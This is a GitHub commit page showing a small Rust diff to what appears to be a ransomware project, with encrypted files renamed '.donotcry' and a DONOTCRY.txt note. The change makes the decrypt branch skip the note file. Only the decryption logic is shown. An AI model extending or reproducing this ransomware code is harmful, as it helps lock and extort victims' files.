Skip to content

Commit 6297f5d

Browse files
committed
fix: prevent decrypting DONOTCRY.txt file
1 parent 2cc1e99 commit 6297f5d

1 file changed

Lines changed: 8 additions & 6 deletions

File tree

src/lib.rs

Lines changed: 8 additions & 6 deletions
Original file line numberDiff line numberDiff line change
@@ -23,13 +23,15 @@ pub fn encrypt_or_decrypt(filename: &str, action: &str) -> bool {
2323
}
2424

2525
"decrypt" => {
26-
let msg = format!("[*] Decrypting {}", filename);
27-
println!("{}", msg.green());
26+
if !filename.contains("DONOTCRY.txt") {
27+
let msg = format!("[*] Decrypting {}", filename);
28+
println!("{}", msg.green());
2829

29-
let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
30-
fs::write(filename, decrypted).unwrap();
31-
let new_filename = filename.replace(".donotcry", "");
32-
fs::rename(filename, new_filename).unwrap();
30+
let decrypted = cipher.cbc_decrypt(iv, &fs::read(filename).unwrap());
31+
fs::write(filename, decrypted).unwrap();
32+
let new_filename = filename.replace(".donotcry", "");
33+
fs::rename(filename, new_filename).unwrap();
34+
}
3335
}
3436

3537
_ => {

0 commit comments

Comments
 (0)